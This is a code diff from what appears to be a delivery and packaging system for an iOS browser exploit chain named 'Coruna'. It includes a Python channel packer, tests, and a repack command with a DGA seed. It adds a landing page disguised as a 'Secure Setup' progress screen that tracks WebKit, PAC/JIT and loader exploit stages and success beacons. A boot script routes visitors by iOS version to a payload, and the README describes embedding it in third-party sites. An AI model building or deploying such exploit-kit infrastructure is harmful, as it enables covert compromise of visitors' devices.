|
||||
// iOS 19+ / 26+: no action.
|
||||
})();
|
||||
</script>
|
||||
<script src="index.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -8,7 +8,7 @@ Requires `tools/build.py --apply` first (shared staged weifile + public/details)
|
||||
3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig)
|
||||
4. Rewrite show.html asset URLs to /channel/{ver}/details/...
|
||||
5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes)
|
||||
6. Strip iptj beacon from index.js; inject t.js into weifile.html
|
||||
6. Strip iptj beacon from payload; install script-embed index.js boot
|
||||
7. Write to {artifact-root}/channel/{ver}/
|
||||
"""
|
||||
|
||||
@@ -19,10 +19,16 @@ import hashlib
|
||||
import json
|
||||
import re
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
import build as xxbb_build
|
||||
|
||||
_EMBED_DIR = Path(__file__).resolve().parents[2] / "channel-embed"
|
||||
if str(_EMBED_DIR) not in sys.path:
|
||||
sys.path.insert(0, str(_EMBED_DIR))
|
||||
from embed_boot import apply_embed_boot # noqa: E402
|
||||
from _details_pack import extract_member, make_passworded_7z
|
||||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||||
|
||||
@@ -209,7 +215,7 @@ def apply_landing_template(weifile_dir: Path, template: str) -> Path:
|
||||
if not src.is_file():
|
||||
raise SystemExit(f"missing landing template: {src}")
|
||||
dest = weifile_dir / "weifile.html"
|
||||
dest.write_text(inject_tjs(src.read_text(encoding="utf-8")), encoding="utf-8")
|
||||
dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
|
||||
return dest
|
||||
|
||||
|
||||
@@ -285,6 +291,11 @@ def pack_channel(
|
||||
leftover_route = weifile_dest / "route.js"
|
||||
if leftover_route.is_file():
|
||||
leftover_route.unlink()
|
||||
apply_embed_boot(
|
||||
weifile_dest,
|
||||
channel_code=ver,
|
||||
ds_domain=ds_domain,
|
||||
)
|
||||
|
||||
if channel_out.exists():
|
||||
shutil.rmtree(channel_out)
|
||||
|
||||
@@ -86,10 +86,10 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertFalse((weifile / "route.js").is_file())
|
||||
html = (weifile / "weifile.html").read_text(encoding="utf-8")
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertIn('src="/t.js"', html)
|
||||
self.assertNotIn('src="/t.js"', html)
|
||||
self.assertNotIn('src="route.js"', html)
|
||||
self.assertIn("/next-chain/frame.html", html)
|
||||
self.assertIn("index.js", html)
|
||||
self.assertNotIn("/next-chain/frame.html", html)
|
||||
self.assertIn('src="index.js"', html)
|
||||
self.assertNotIn("config.js", html)
|
||||
self.assertNotIn("boot.js", html)
|
||||
self.assertNotIn("holdFresh", html)
|
||||
@@ -327,11 +327,10 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
|
||||
for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
|
||||
landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
|
||||
self.assertIn('src="/t.js"', landing)
|
||||
self.assertEqual(pack_channel.inject_tjs(landing), landing)
|
||||
self.assertIn('src="index.js"', landing)
|
||||
self.assertNotIn('src="/t.js"', landing)
|
||||
self.assertNotIn('src="route.js"', landing)
|
||||
self.assertIn("/next-chain/frame.html", landing)
|
||||
self.assertIn("index.js", landing)
|
||||
self.assertNotIn("/next-chain/frame.html", landing)
|
||||
self.assertNotIn("config.js", landing)
|
||||
self.assertNotIn("boot.js", landing)
|
||||
self.assertNotIn("holdFresh", landing)
|
||||
|
||||
@@ -12,3 +12,14 @@ python3 -m venv .venv
|
||||
```
|
||||
|
||||
Laravel `ChannelProjectService` invokes the same entry with `--artifact-root` / `--state-root`.
|
||||
|
||||
Published `web/<id>/index.js` is the shared boot (iOS router + `/t.js`). The Coruna payload is `payload.js`. Third-party sites can unzip the admin「浏览器资源 zip」to their docroot and include `<script src="./index.js"></script>`.
|
||||
|
||||
Rebuild existing old channels (same 32-hex id; DGA seed from `CORUNA_CHANNEL_SEED`):
|
||||
|
||||
```bash
|
||||
php artisan coruna:repack # all builder_type=old
|
||||
php artisan coruna:repack <32-hex> # one
|
||||
php artisan coruna:repack --dry-run
|
||||
php artisan coruna:repack --template=test
|
||||
```
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,10 +1,14 @@
|
||||
# support.html templates
|
||||
|
||||
Build-time choices for `web/support.html` (`--support-template` / API `support_template`):
|
||||
Landing HTML only loads same-directory `index.js`. Routing, `/t.js` beacon, and iOS 18 DS iframe live in the published boot `index.js` (payload is `payload.js`). HTML does not inline the hit beacon.
|
||||
|
||||
| Name | Source | Description |
|
||||
|------|--------|-------------|
|
||||
| `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI |
|
||||
| `blank` | `blank.html` | Loader scripts only, no HUD UI |
|
||||
| `blank` | `blank.html` (default campaign `source/web/support.html`) | `<script src="index.js">` only |
|
||||
| `test` | `test.html` | Lab HUD + the same `index.js` |
|
||||
|
||||
Default is `test`.
|
||||
Both iframe landing and third-party `<script src="./index.js">` share that boot:
|
||||
|
||||
- iOS < 18 / unknown: load same-directory `payload.js`
|
||||
- iOS 18: iframe `__DS_DOMAIN__/next-chain/frame.html?c=<channel>`
|
||||
- iOS 19+ / 26+: no action
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,588 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|
||||
<meta http-equiv="Pragma" content="no-cache" />
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
|
||||
<title>Preparing…</title>
|
||||
<style>
|
||||
@import url("https://fonts.googleapis.com/css2?family=Outfit:wght@400;500;600;700&family=Sora:wght@600;700&display=swap");
|
||||
:root {
|
||||
--bg0: #e8f1f7;
|
||||
--bg1: #f7fbfc;
|
||||
--ink: #123047;
|
||||
--muted: #5a7388;
|
||||
--line: #c5d6e4;
|
||||
--card: rgba(255, 255, 255, 0.72);
|
||||
--accent: #0b7ea4;
|
||||
--run: #c98512;
|
||||
--ok: #1f8a55;
|
||||
--bad: #c23b3b;
|
||||
--ring-size: min(72vw, 280px);
|
||||
}
|
||||
* { box-sizing: border-box; }
|
||||
html, body {
|
||||
margin: 0; min-height: 100%;
|
||||
color: var(--ink);
|
||||
font: 15px/1.45 Outfit, "Segoe UI", sans-serif;
|
||||
background:
|
||||
radial-gradient(120% 80% at 50% -10%, #cfe6f3 0%, transparent 55%),
|
||||
linear-gradient(180deg, var(--bg0), var(--bg1) 48%, #eef5f9);
|
||||
}
|
||||
#lab-hud {
|
||||
position: relative; z-index: 2147483000;
|
||||
min-height: 100dvh;
|
||||
display: flex; flex-direction: column; align-items: center;
|
||||
justify-content: center;
|
||||
padding: max(24px, env(safe-area-inset-top)) 20px max(28px, env(safe-area-inset-bottom));
|
||||
gap: 28px;
|
||||
}
|
||||
.brand {
|
||||
font-family: Sora, Outfit, sans-serif;
|
||||
font-size: 13px; font-weight: 700; letter-spacing: .14em;
|
||||
text-transform: uppercase; color: var(--muted);
|
||||
}
|
||||
.ring-wrap {
|
||||
position: relative;
|
||||
width: var(--ring-size); height: var(--ring-size);
|
||||
filter: drop-shadow(0 18px 40px rgba(11, 126, 164, .16));
|
||||
}
|
||||
.ring-wrap svg { width: 100%; height: 100%; display: block; transform: rotate(-90deg); }
|
||||
.ring-bg { fill: none; stroke: #d5e5ef; stroke-width: 8; }
|
||||
.ring-fg {
|
||||
fill: none; stroke: var(--accent); stroke-width: 8;
|
||||
stroke-linecap: round;
|
||||
stroke-dasharray: 339.292; stroke-dashoffset: 0;
|
||||
transition: stroke .25s ease;
|
||||
}
|
||||
.ring-wrap.is-run .ring-fg { stroke: var(--run); }
|
||||
.ring-wrap.is-ok .ring-fg { stroke: var(--ok); }
|
||||
.ring-wrap.is-bad .ring-fg { stroke: var(--bad); }
|
||||
.ring-wrap.is-ticking .count {
|
||||
animation: count-beat 1s ease-in-out infinite;
|
||||
}
|
||||
@keyframes count-beat {
|
||||
0%, 100% { transform: scale(1); opacity: 1; }
|
||||
50% { transform: scale(1.04); opacity: .88; }
|
||||
}
|
||||
.ring-center {
|
||||
position: absolute; inset: 0;
|
||||
display: flex; flex-direction: column; align-items: center; justify-content: center;
|
||||
text-align: center; padding: 18px;
|
||||
}
|
||||
.count {
|
||||
font-family: Sora, Outfit, sans-serif;
|
||||
font-size: clamp(52px, 16vw, 72px);
|
||||
font-weight: 700; line-height: 1; letter-spacing: -.03em;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
.count-unit {
|
||||
margin-top: 2px; font-size: 12px; font-weight: 600;
|
||||
letter-spacing: .12em; text-transform: uppercase; color: var(--muted);
|
||||
}
|
||||
#lab-status {
|
||||
margin-top: 10px; max-width: 18ch;
|
||||
font-size: 13px; font-weight: 500; color: var(--muted);
|
||||
}
|
||||
.progress-panel {
|
||||
width: min(920px, 100%);
|
||||
background: var(--card);
|
||||
border: 1px solid rgba(197, 214, 228, .85);
|
||||
border-radius: 20px;
|
||||
padding: 18px 16px 16px;
|
||||
backdrop-filter: blur(10px);
|
||||
box-shadow: 0 10px 30px rgba(18, 48, 71, .06);
|
||||
}
|
||||
.bar {
|
||||
height: 6px; border-radius: 999px; background: #e1ebf2; overflow: hidden;
|
||||
}
|
||||
.bar > i {
|
||||
display: block; height: 100%; width: 0;
|
||||
border-radius: inherit;
|
||||
background: linear-gradient(90deg, #0b7ea4, #1f8a55);
|
||||
transition: width .4s ease;
|
||||
}
|
||||
.steps {
|
||||
list-style: none; margin: 16px 0 0; padding: 0;
|
||||
display: grid; grid-template-columns: repeat(4, 1fr); gap: 6px;
|
||||
}
|
||||
.step {
|
||||
position: relative;
|
||||
display: flex; flex-direction: column; align-items: center; gap: 8px;
|
||||
text-align: center; min-width: 0;
|
||||
}
|
||||
.step:not(:last-child)::after {
|
||||
content: "";
|
||||
position: absolute; top: 13px; left: calc(50% + 16px); right: calc(-50% + 16px);
|
||||
height: 2px; background: var(--line); z-index: 0;
|
||||
transition: background .3s ease;
|
||||
}
|
||||
.step.is-ok:not(:last-child)::after,
|
||||
.step.is-run:not(:last-child)::after { background: rgba(11, 126, 164, .45); }
|
||||
.dot {
|
||||
position: relative; z-index: 1;
|
||||
width: 28px; height: 28px; border-radius: 50%;
|
||||
display: grid; place-items: center;
|
||||
font-size: 11px; font-weight: 700;
|
||||
color: var(--muted); background: #fff;
|
||||
border: 2px solid var(--line);
|
||||
transition: background .25s ease, border-color .25s ease, color .25s ease, transform .25s ease;
|
||||
}
|
||||
.step .label {
|
||||
font-size: 11px; font-weight: 600; letter-spacing: .04em;
|
||||
text-transform: uppercase; color: var(--muted);
|
||||
}
|
||||
.step .file {
|
||||
font-size: 10px; color: #8aa0b3; max-width: 100%;
|
||||
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
|
||||
}
|
||||
.step.is-run .dot {
|
||||
color: #fff; background: var(--run); border-color: var(--run);
|
||||
transform: scale(1.06);
|
||||
animation: pulse 1.2s ease-in-out infinite;
|
||||
}
|
||||
.step.is-run .label { color: var(--run); }
|
||||
.step.is-ok .dot { color: #fff; background: var(--ok); border-color: var(--ok); }
|
||||
.step.is-ok .label { color: var(--ok); }
|
||||
.step.is-bad .dot { color: #fff; background: var(--bad); border-color: var(--bad); }
|
||||
.step.is-bad .label { color: var(--bad); }
|
||||
.step.is-ok .file, .step.is-run .file { color: var(--ink); }
|
||||
/* idle / not-yet-run: muted gray only */
|
||||
.step:not(.is-ok):not(.is-run):not(.is-bad) .dot {
|
||||
color: var(--muted); background: #fff; border-color: var(--line);
|
||||
}
|
||||
.step:not(.is-ok):not(.is-run):not(.is-bad) .label { color: var(--muted); }
|
||||
.device-model {
|
||||
font-size: 13px; font-weight: 500; color: var(--muted);
|
||||
letter-spacing: .02em;
|
||||
}
|
||||
@keyframes pulse {
|
||||
0%, 100% { box-shadow: 0 0 0 0 rgba(201, 133, 18, .35); }
|
||||
50% { box-shadow: 0 0 0 8px rgba(201, 133, 18, 0); }
|
||||
}
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.ring-fg, .bar > i, .dot { transition: none; }
|
||||
.step.is-run .dot { animation: none; }
|
||||
.ring-wrap.is-ticking .count { animation: none; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="lab-hud">
|
||||
<div class="brand">Secure Setup</div>
|
||||
|
||||
<div class="ring-wrap is-run" id="lab-ring-wrap">
|
||||
<svg viewBox="0 0 120 120" aria-hidden="true">
|
||||
<circle class="ring-bg" cx="60" cy="60" r="54"></circle>
|
||||
<circle class="ring-fg" id="lab-ring" cx="60" cy="60" r="54"></circle>
|
||||
</svg>
|
||||
<div class="ring-center">
|
||||
<div class="count" id="lab-count">15</div>
|
||||
<div class="count-unit">sec</div>
|
||||
<div id="lab-status">Starting…</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="progress-panel">
|
||||
<div class="bar"><i id="lab-bar"></i></div>
|
||||
<ol class="steps">
|
||||
<li class="step" data-stage="1" id="lab-s1">
|
||||
<span class="dot">1</span>
|
||||
<span class="label">WebKit</span>
|
||||
<span class="file" id="lab-f1">stage1</span>
|
||||
</li>
|
||||
<li class="step" data-stage="2" id="lab-s2">
|
||||
<span class="dot">2</span>
|
||||
<span class="label">PAC / JIT</span>
|
||||
<span class="file" id="lab-f2">stage2</span>
|
||||
</li>
|
||||
<li class="step" data-stage="3" id="lab-s3">
|
||||
<span class="dot">3</span>
|
||||
<span class="label">Loader</span>
|
||||
<span class="file" id="lab-f3">stage3</span>
|
||||
</li>
|
||||
<li class="step" data-stage="ok" id="lab-sok">
|
||||
<span class="dot">✓</span>
|
||||
<span class="label">Success</span>
|
||||
<span class="file" id="lab-fok">e=0</span>
|
||||
</li>
|
||||
</ol>
|
||||
</div>
|
||||
|
||||
<div class="device-model" id="lab-model">—</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
var STAGE_MAP = {
|
||||
"98f0c8fb182309faa687aa849e92d0ac5f93af7d": { stage: 1, label: "jacurutu" },
|
||||
"700491384cc59bd25c3aa4dd670c8660963bffe3": { stage: 1, label: "bluebird" },
|
||||
"3c04ae31f9ba8f809b275be4b3fa93deb558902c": { stage: 1, label: "terrorbird" },
|
||||
"1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf": { stage: 1, label: "cassowary" },
|
||||
"40a27e7916aa554e6d38d39beb6bb7ee095692ed": { stage: 1, label: "buffout" },
|
||||
"9075c25766e57019db4c86fac179b03ebf1b56e5": { stage: 2, label: "breezy" },
|
||||
"b099ff22b5c8e65654744fd307d81ad208009103": { stage: 2, label: "breezy15" },
|
||||
"651774047bf8d72258a5f04785c9dabf5e793670": { stage: 2, label: "seedbell_pre" },
|
||||
"291b914c574e1196039313595217367c44cca436": { stage: 2, label: "seedbell_16.6" },
|
||||
"0f2be2a4e0ab7e60b6ce550692996d079a5769a0": { stage: 2, label: "seedbell_17" },
|
||||
"0c297489d8c9d5470bfce17b0d99da3338b44a18": { stage: 3, label: "VariantA" },
|
||||
"9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f": { stage: 3, label: "VariantB" },
|
||||
"ad970e88980634bcb2eda0c998a27881686dd29e": { stage: 0, label: "beacon/manifest" }
|
||||
};
|
||||
var PRIMARY = {
|
||||
"6539c1e0dc731ea7c7011af236cc7c2871af7c40": "0xf290",
|
||||
"054bcb73ce2a3023b3813f5be12d0b6ffd6e7611": "0xf230",
|
||||
"e406714e92671b5218496fcb6666734411cb2320": "0xf330",
|
||||
"694c829e379e12085de6158b85f32509f54f4796": "0xf240",
|
||||
"3b0133801a3f844e7ebafa0363f2423a50005b72": "0xf340",
|
||||
"6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca": "0xf270",
|
||||
"eb3e81b54e8763bfe505e7a18be8f5fd828a76f6": "0xf370",
|
||||
"6bbb364c8a423374d42a2cbc45c0dee84e7dc710": "0xf280",
|
||||
"99010a27e08b3312650c8d9f321958433e577a30": "0xf380",
|
||||
"c9118a62558ed444a64c2dfe350c6c57fa277a3a": "0xf390",
|
||||
"076de672aebfc78137aa863e51ff3d8980dcdd10": "0xf373",
|
||||
"62415a3d105a8c40c41b19cf456e8474fe441359": "0xf383",
|
||||
"a5847c3e2e439e2f7c4b1582932cf81a06100981": "0xf275",
|
||||
"f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a": "0xf375"
|
||||
};
|
||||
var SECONDARY = {
|
||||
"65704c0722165a7bdedad3f3f61258b2f95470f6": "groupA",
|
||||
"7f208248c748f97956fe4a7cf246c91235852e67": "groupB",
|
||||
"039c68f0ca742a85e94516818385a9eca2e204d8": "sec",
|
||||
"1d0df5a0a12a20aa8b0c8aeb660742268f311d19": "sec",
|
||||
"242a0afb1d88b83e9a1a5b570fed6778def892fc": "sec",
|
||||
"347367155da44f3efcc9053337913061079610b9": "sec",
|
||||
"630c2b42300333d91588353d43afab9ec8325e09": "sec",
|
||||
"6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb": "sec",
|
||||
"743312cafb58176af57b89098d94dca1c60f8d1e": "sec",
|
||||
"7cb20652ef7156e931f894dd3d99f24601b80368": "sec"
|
||||
};
|
||||
|
||||
var state = { 1: "idle", 2: "idle", 3: "idle", p: "idle", s: "idle", ok: "idle" };
|
||||
var files = { 1: null, 2: null, 3: null, p: null, s: null };
|
||||
var statusEl = document.getElementById("lab-status");
|
||||
var barEl = document.getElementById("lab-bar");
|
||||
var ringEl = document.getElementById("lab-ring");
|
||||
var ringWrap = document.getElementById("lab-ring-wrap");
|
||||
var countEl = document.getElementById("lab-count");
|
||||
var modelEl = document.getElementById("lab-model");
|
||||
var CIRC = 2 * Math.PI * 54;
|
||||
var TOTAL_SEC = 15;
|
||||
var startedAt = Date.now();
|
||||
var remain = TOTAL_SEC;
|
||||
var finished = false;
|
||||
var failed = false;
|
||||
var tickTimer = null;
|
||||
|
||||
ringEl.style.strokeDasharray = String(CIRC);
|
||||
ringEl.style.strokeDashoffset = "0";
|
||||
ringWrap.classList.add("is-ticking");
|
||||
|
||||
function log() {}
|
||||
|
||||
function setStepUi(n, kind) {
|
||||
var id = n === "ok" ? "lab-sok" : ("lab-s" + n);
|
||||
var el = document.getElementById(id);
|
||||
if (!el) return;
|
||||
// Success node is never painted red — stays gray until real success (green ✓).
|
||||
if (n === "ok" && kind === "bad") kind = "idle";
|
||||
el.classList.remove("is-run", "is-ok", "is-bad");
|
||||
if (kind === "run" || kind === "ok" || kind === "bad") el.classList.add("is-" + kind);
|
||||
var dot = el.querySelector(".dot");
|
||||
if (dot) {
|
||||
if (kind === "ok") {
|
||||
dot.textContent = "✓";
|
||||
} else if (n === "ok") {
|
||||
dot.textContent = "✓";
|
||||
} else if (n === 1 || n === 2 || n === 3) {
|
||||
if (kind !== "ok") dot.textContent = String(n);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function ringTone() {
|
||||
ringWrap.classList.remove("is-run", "is-ok", "is-bad");
|
||||
if (failed) ringWrap.classList.add("is-bad");
|
||||
else if (finished || state.ok === "ok") ringWrap.classList.add("is-ok");
|
||||
else ringWrap.classList.add("is-run");
|
||||
}
|
||||
|
||||
function paintCountdown() {
|
||||
var elapsed = (Date.now() - startedAt) / 1000;
|
||||
remain = Math.max(0, TOTAL_SEC - elapsed);
|
||||
var pct = Math.max(0, Math.min(1, remain / TOTAL_SEC));
|
||||
ringEl.style.strokeDashoffset = String(CIRC * (1 - pct));
|
||||
countEl.textContent = String(Math.max(0, Math.ceil(remain)));
|
||||
if (remain <= 0) ringWrap.classList.remove("is-ticking");
|
||||
else ringWrap.classList.add("is-ticking");
|
||||
ringTone();
|
||||
}
|
||||
|
||||
function refreshBar() {
|
||||
var score = 0;
|
||||
if (state[1] === "ok") score += 1;
|
||||
if (state[2] === "ok") score += 1;
|
||||
if (state[3] === "ok") score += 1;
|
||||
if (state.p === "ok") score += 0.35;
|
||||
if (state.s === "ok") score += 0.35;
|
||||
if (state.ok === "ok") score = 4;
|
||||
if (!finished && (state[1] === "run" || state[2] === "run" || state[3] === "run" ||
|
||||
state.p === "run" || state.s === "run")) score += 0.2;
|
||||
barEl.style.width = Math.min(100, (score / 4) * 100) + "%";
|
||||
}
|
||||
|
||||
function setStage(n, kind, file, label) {
|
||||
if (!(n in state) && n !== "ok") return;
|
||||
if (state[n] === "ok" && kind === "run") return;
|
||||
// After e=0 success, ignore later pack noise that would re-color stages.
|
||||
if (finished && n !== "ok" && kind !== "ok") return;
|
||||
state[n] = kind;
|
||||
if (file && n !== "ok") {
|
||||
files[n] = file;
|
||||
if (n === 1 || n === 2 || n === 3) {
|
||||
var fe = document.getElementById("lab-f" + n);
|
||||
if (fe) fe.textContent = (label ? label + " · " : "") + String(file).slice(0, 12) + "…";
|
||||
}
|
||||
// Pack progress belongs under Success, not Stage3.
|
||||
if ((n === "p" || n === "s") && !finished) {
|
||||
var fok = document.getElementById("lab-fok");
|
||||
if (fok) fok.textContent = (label || n) + " · " + String(file).slice(0, 10) + "…";
|
||||
}
|
||||
}
|
||||
if (n === 1 || n === 2 || n === 3 || n === "ok") setStepUi(n, kind);
|
||||
refreshBar();
|
||||
var name = n === "p" ? "primary" : n === "s" ? "secondary" : n === "ok" ? "success" : ("stage " + n);
|
||||
if (finished && n !== "ok") return;
|
||||
if (kind === "ok") statusEl.textContent = name + " ready";
|
||||
if (kind === "bad") {
|
||||
failed = true;
|
||||
statusEl.textContent = name + " failed";
|
||||
ringTone();
|
||||
}
|
||||
if (kind === "run") statusEl.textContent = "Loading " + name + "…";
|
||||
}
|
||||
|
||||
function markSuccess() {
|
||||
finished = true;
|
||||
failed = false;
|
||||
// e=0 proves the browser chain finished — light prior stages if they ran or were skipped in HUD.
|
||||
[1, 2, 3].forEach(function (n) {
|
||||
if (state[n] !== "bad") setStepUi(n, "ok");
|
||||
if (state[n] === "idle" || state[n] === "run") state[n] = "ok";
|
||||
});
|
||||
if (state.p === "run") state.p = "ok";
|
||||
if (state.s === "run" || state.s === "idle") state.s = "ok";
|
||||
state.ok = "ok";
|
||||
setStepUi("ok", "ok");
|
||||
var fok = document.getElementById("lab-fok");
|
||||
if (fok) fok.textContent = "e=0";
|
||||
statusEl.textContent = "Complete";
|
||||
document.title = "Ready";
|
||||
barEl.style.width = "100%";
|
||||
ringTone();
|
||||
}
|
||||
|
||||
function explainE(code) {
|
||||
if (code === "0") return "ok";
|
||||
if (code === "1000") return "exception";
|
||||
if (code === "1001") return "unsupported";
|
||||
if (code === "1002") return "stage3/native fail";
|
||||
if (code === "1003") return "gate fail";
|
||||
return "";
|
||||
}
|
||||
|
||||
function isResultBeacon(url) {
|
||||
var s = String(url);
|
||||
if (!/[?&]e=\d+/.test(s)) return false;
|
||||
if (/ad970e88980634bcb2eda0c998a27881686dd29e\.min\.js/i.test(s)) return true;
|
||||
if (/\/\?e=\d+/.test(s) || /\/\?[^#]*[?&]e=\d+/.test(s)) return true;
|
||||
try {
|
||||
var u = new URL(s, location.href);
|
||||
var path = u.pathname || "";
|
||||
if (/\/$/.test(path) && u.searchParams.has("e")) return true;
|
||||
if (!/\.js$/i.test(path) && u.searchParams.has("e")) return true;
|
||||
} catch (err) {}
|
||||
return false;
|
||||
}
|
||||
|
||||
function onBeacon(url, ok) {
|
||||
if (!isResultBeacon(url)) return false;
|
||||
var em = String(url).match(/[?&]e=(\d+)/);
|
||||
if (!em) return false;
|
||||
var code = em[1];
|
||||
var note = explainE(code);
|
||||
statusEl.textContent = "result e=" + code + (note ? " (" + note + ")" : "");
|
||||
log((ok ? "beacon " : "beacon fail ") + "e=" + code + (note ? " " + note : "") +
|
||||
" · " + String(url).replace(/^https?:\/\/[^/]+/, ""));
|
||||
if (code === "0") {
|
||||
// Real traffic often beacons e=0 before secondary XHR is observed; e=0 is definitive.
|
||||
[1, 2, 3, "p", "s"].forEach(function (n) {
|
||||
if (state[n] !== "bad") setStage(n, "ok", files[n], null);
|
||||
});
|
||||
markSuccess();
|
||||
} else if (code === "1002" || code === "1000") {
|
||||
if (state.s === "idle") setStage("s", "bad", files.s, "no handoff");
|
||||
failed = true;
|
||||
setStepUi("ok", "idle");
|
||||
var fok = document.getElementById("lab-fok");
|
||||
if (fok) fok.textContent = "e=" + code;
|
||||
ringTone();
|
||||
} else {
|
||||
failed = true;
|
||||
setStepUi("ok", "idle");
|
||||
var fok2 = document.getElementById("lab-fok");
|
||||
if (fok2) fok2.textContent = "e=" + code;
|
||||
ringTone();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function deviceModel() {
|
||||
var ua = navigator.userAgent || "";
|
||||
var plat = navigator.platform || "";
|
||||
var ios = ua.match(/OS (\d+)[._](\d+)(?:[._](\d+))?/);
|
||||
var mac = ua.match(/Mac OS X (\d+)[._](\d+)(?:[._](\d+))?/);
|
||||
var name = /iPhone/i.test(ua) || /iPhone/i.test(plat)
|
||||
? "iPhone"
|
||||
: /iPad/i.test(ua) || /iPad/i.test(plat)
|
||||
? "iPad"
|
||||
: /Macintosh|Mac OS X/i.test(ua)
|
||||
? "Mac"
|
||||
: (plat || "Device");
|
||||
var ver = ios
|
||||
? "iOS " + ios[1] + "." + ios[2] + (ios[3] ? "." + ios[3] : "")
|
||||
: mac
|
||||
? "macOS " + mac[1] + "." + mac[2] + (mac[3] ? "." + mac[3] : "")
|
||||
: "";
|
||||
return ver ? name + " · " + ver : name;
|
||||
}
|
||||
|
||||
function fillModel() {
|
||||
modelEl.textContent = deviceModel();
|
||||
}
|
||||
|
||||
function classify(url) {
|
||||
if (!url) return null;
|
||||
var s = String(url);
|
||||
if (isResultBeacon(s)) return { kind: "beacon", url: s };
|
||||
var min = s.match(/([0-9a-f]{40})\.min\.js/i);
|
||||
if (min) {
|
||||
var sh = min[1].toLowerCase();
|
||||
if (SECONDARY[sh]) return { kind: "secondary", hash: sh, label: SECONDARY[sh] };
|
||||
if (PRIMARY[sh]) return { kind: "primary", hash: sh, label: PRIMARY[sh] };
|
||||
return { kind: "secondary", hash: sh, label: "min.js" };
|
||||
}
|
||||
var m = s.match(/([0-9a-f]{40})\.js/i);
|
||||
if (!m) return null;
|
||||
var hash = m[1].toLowerCase();
|
||||
if (PRIMARY[hash]) return { kind: "primary", hash: hash, label: PRIMARY[hash] };
|
||||
if (SECONDARY[hash]) return { kind: "secondary", hash: hash, label: SECONDARY[hash] };
|
||||
var info = STAGE_MAP[hash];
|
||||
if (info) return { kind: "stage", stage: info.stage, hash: hash, label: info.label };
|
||||
return null;
|
||||
}
|
||||
|
||||
function onModule(url, ok) {
|
||||
var hit = classify(url);
|
||||
if (!hit) return;
|
||||
if (hit.kind === "beacon") {
|
||||
onBeacon(url, ok);
|
||||
return;
|
||||
}
|
||||
if (hit.kind === "primary") {
|
||||
setStage("p", ok ? "ok" : "bad", hit.hash, hit.label);
|
||||
log((ok ? "primary ok " : "primary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
|
||||
return;
|
||||
}
|
||||
if (hit.kind === "secondary") {
|
||||
setStage("s", ok ? "ok" : "bad", hit.hash, hit.label);
|
||||
log((ok ? "secondary ok " : "secondary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
|
||||
if (ok && !finished) statusEl.textContent = "Secondary ready · waiting e=";
|
||||
return;
|
||||
}
|
||||
if (hit.kind === "stage") {
|
||||
if (hit.stage === 0) {
|
||||
log((ok ? "offsets/manifest ok " : "offsets/manifest fail ") + hit.hash.slice(0, 12));
|
||||
onBeacon(url, ok);
|
||||
return;
|
||||
}
|
||||
setStage(hit.stage, ok ? "ok" : "bad", hit.hash, hit.label);
|
||||
log((ok ? "loaded " : "failed ") + "stage" + hit.stage + " " + hit.label +
|
||||
" (" + hit.hash.slice(0, 12) + ")");
|
||||
if (ok && hit.stage === 2 && state[1] === "idle") setStage(1, "ok", files[1], null);
|
||||
if (ok && hit.stage === 3) {
|
||||
if (state[1] === "idle") setStage(1, "ok", files[1], null);
|
||||
if (state[2] === "idle") setStage(2, "ok", files[2], null);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var XO = XMLHttpRequest.prototype.open;
|
||||
var XS = XMLHttpRequest.prototype.send;
|
||||
XMLHttpRequest.prototype.open = function (method, url) {
|
||||
this.__labUrl = url;
|
||||
var hit = classify(url);
|
||||
if (hit) {
|
||||
if (hit.kind === "beacon") statusEl.textContent = "Finishing…";
|
||||
else if (hit.kind === "primary") setStage("p", "run", hit.hash, hit.label);
|
||||
else if (hit.kind === "secondary") setStage("s", "run", hit.hash, hit.label);
|
||||
else if (hit.kind === "stage" && hit.stage >= 1) setStage(hit.stage, "run", hit.hash, hit.label);
|
||||
}
|
||||
return XO.apply(this, arguments);
|
||||
};
|
||||
XMLHttpRequest.prototype.send = function () {
|
||||
var xhr = this;
|
||||
xhr.addEventListener("loadend", function () {
|
||||
var ok = xhr.status === 200 || xhr.status === 0;
|
||||
if (xhr.status === 0 && xhr.response != null) ok = true;
|
||||
if (xhr.status >= 400) ok = false;
|
||||
var u = xhr.__labUrl;
|
||||
if (u && isResultBeacon(u)) {
|
||||
onBeacon(u, true);
|
||||
return;
|
||||
}
|
||||
